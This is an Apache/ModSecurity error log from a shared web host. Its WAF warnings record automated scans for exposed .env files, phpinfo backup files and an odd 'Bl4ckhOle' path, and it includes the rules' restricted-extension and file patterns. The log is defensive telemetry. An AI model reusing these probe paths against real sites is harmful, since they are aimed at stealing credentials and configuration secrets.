[Fri Jul 17 09:14:46.845081 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlLrEWOaI5pmYo9fnR8gAAAAA"]
[Fri Jul 17 09:14:46.848345 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php.bak"] [unique_id "almlLjsMb3am0TgkjETeAgAAAAo"]
[Fri Jul 17 09:14:46.848756 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php.bak"] [unique_id "almlLjsMb3am0TgkjETeAgAAAAo"]
[Fri Jul 17 09:14:46.849074 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlLjsMb3am0TgkjETeAgAAAAo"]
[Fri Jul 17 09:14:47.016200 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/service/.env"] [unique_id "almlL614q1EBnanVMYGnIQAAAAk"]
[Fri Jul 17 09:14:47.017427 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/service/.env"] [unique_id "almlL614q1EBnanVMYGnIQAAAAk"]
[Fri Jul 17 09:14:47.020328 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php.old"] [unique_id "almlL11_86A5R6msWNfXjQAAABI"]
[Fri Jul 17 09:14:47.020735 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php.old"] [unique_id "almlL11_86A5R6msWNfXjQAAABI"]
[Fri Jul 17 09:14:47.020959 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlL11_86A5R6msWNfXjQAAABI"]
[Fri Jul 17 09:14:47.057300 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:47.185960 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlL614q1EBnanVMYGnIQAAAAk"]
[Fri Jul 17 09:14:47.188858 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php~"] [unique_id "almlL4l9vhFBGA6D8l99RAAAAAw"]
[Fri Jul 17 09:14:47.189288 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/phpinfo.php~"] [unique_id "almlL4l9vhFBGA6D8l99RAAAAAw"]
[Fri Jul 17 09:14:47.189534 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlL4l9vhFBGA6D8l99RAAAAAw"]
[Fri Jul 17 09:14:47.355875 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/info.php.bak"] [unique_id "almlL0kXT4NBqALj2lZ_-wAAABA"]
[Fri Jul 17 09:14:47.356290 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/info.php.bak"] [unique_id "almlL0kXT4NBqALj2lZ_-wAAABA"]
[Fri Jul 17 09:14:47.356553 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlL0kXT4NBqALj2lZ_-wAAABA"]
[Fri Jul 17 09:14:47.358031 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v3/.env"] [unique_id "almlL7EKozcCJ-ReuK0GBAAAAAg"]
[Fri Jul 17 09:14:47.359284 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/v3/.env"] [unique_id "almlL7EKozcCJ-ReuK0GBAAAAAg"]
[Fri Jul 17 09:14:47.521201 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:37802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:47.546222 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlL7EKozcCJ-ReuK0GBAAAAAg"]
[Fri Jul 17 09:14:47.714471 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/dev/.env"] [unique_id "almlL4l9vhFBGA6D8l99RQAAAAw"]
[Fri Jul 17 09:14:47.715766 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/dev/.env"] [unique_id "almlL4l9vhFBGA6D8l99RQAAAAw"]
[Fri Jul 17 09:14:47.950889 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlL4l9vhFBGA6D8l99RQAAAAw"]
[Fri Jul 17 09:14:47.950958 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlL4l9vhFBGA6D8l99RQAAAAw"]
[Fri Jul 17 09:14:47.950972 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlL4l9vhFBGA6D8l99RQAAAAw"]
[Fri Jul 17 09:14:48.119023 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/staging/.env"] [unique_id "almlMLEKozcCJ-ReuK0GBQAAAAg"]
[Fri Jul 17 09:14:48.120312 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/api/staging/.env"] [unique_id "almlMLEKozcCJ-ReuK0GBQAAAAg"]
[Fri Jul 17 09:14:48.270830 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMLEKozcCJ-ReuK0GBQAAAAg"]
[Fri Jul 17 09:14:48.299159 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.404894 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.438526 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vendor/.env"] [unique_id "almlMIe39YUk0SgV8AU9WgAAABE"]
[Fri Jul 17 09:14:48.439679 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/vendor/.env"] [unique_id "almlMIe39YUk0SgV8AU9WgAAABE"]
[Fri Jul 17 09:14:48.513163 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.548281 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.614602 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.656140 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMIe39YUk0SgV8AU9WgAAABE"]
[Fri Jul 17 09:14:48.724675 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.813986 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.14.35:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php73/etc/php.d/zzzzzzz-pecl.ini"] [unique_id "almlMOjME1mgqYZ5O94pegAAAAE"]
[Fri Jul 17 09:14:48.814533 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.14.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php73/etc/php.d/zzzzzzz-pecl.ini"] [unique_id "almlMOjME1mgqYZ5O94pegAAAAE"]
[Fri Jul 17 09:14:48.814908 2026] [security2:error] [pid 2031172:tid 2031172] [client 47.82.14.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php73/etc/php.d/zzzzzzz-pecl.ini"] [unique_id "almlMOjME1mgqYZ5O94pegAAAAE"]
[Fri Jul 17 09:14:48.826467 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/lib/.env"] [unique_id "almlMI1dLClkUfK_dfHn9AAAAAI"]
[Fri Jul 17 09:14:48.827432 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:48.827838 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/lib/.env"] [unique_id "almlMI1dLClkUfK_dfHn9AAAAAI"]
[Fri Jul 17 09:14:48.927994 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:37922] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:48.987119 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlMI1dLClkUfK_dfHn9AAAAAI"]
[Fri Jul 17 09:14:49.027407 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:49.126726 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
